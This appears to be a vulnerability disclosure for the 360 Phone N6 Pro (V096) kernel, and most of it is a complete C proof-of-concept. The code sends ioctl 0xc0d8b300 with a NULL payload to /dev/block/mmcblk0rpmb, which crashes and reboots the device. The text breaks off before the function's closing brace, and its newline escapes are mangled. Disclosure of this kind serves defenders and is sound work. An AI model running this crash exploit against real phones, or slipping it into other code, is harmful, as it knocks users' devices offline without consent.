360 Phone N6 Pro Kernel Vulnerability

Principle of the vulnerability

The kernel module in the 360 Phone N6 Pro V096 kernel component allows an attacker to use the command 3235427072 to inject variable on device /dev/block/mmcblk0rpmb and cause the kernel to crash.

Impact of the vulnerability

360 Phone N6 Pro 1801-A01

POC

/*
* This is poc of 360 N6 Pro, 1801-A01
* Android Version: 7.1.1
* Version Number: V096
* Kernel Version: Linux localhost 4.4.21-perf #1 SMP PREEMPT Wed Mar 28 15:24:20 UTC 2018 aarch64
* A NULL pointer bug in the ioctl interface of device file /dev/block/mmcblk0rpmb causes the system crash via IOCTL 3235427072.
* This Poc should run with permission to do ioctl on /dev/block/mmcblk0rpmb.
*/
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/ioctl.h>

const static char *driver = "/dev/block/mmcblk0rpmb";
static command = 3235427072; // 0xc0d8b300

int main(int argc, char **argv, char **env) {
int fd = 0;
fd = open(driver, O_RDWR);
if (fd < 0) {
printf("Failed to open %s, with errno %dn", driver, errno);
system("echo 1 > /data/local/tmp/log");
return -1;
}

printf("Try ioctl device file '%s', with command 0x%x and payload NULLn", driver, command);
printf("System will crash and reboot.n");
if(ioctl(fd, command, NULL) < 0) {
printf("Allocation of structs failed, %dn", errno);
system("echo 2 > /data/local/tmp/log");
return -1;
}
close(fd);
return 0;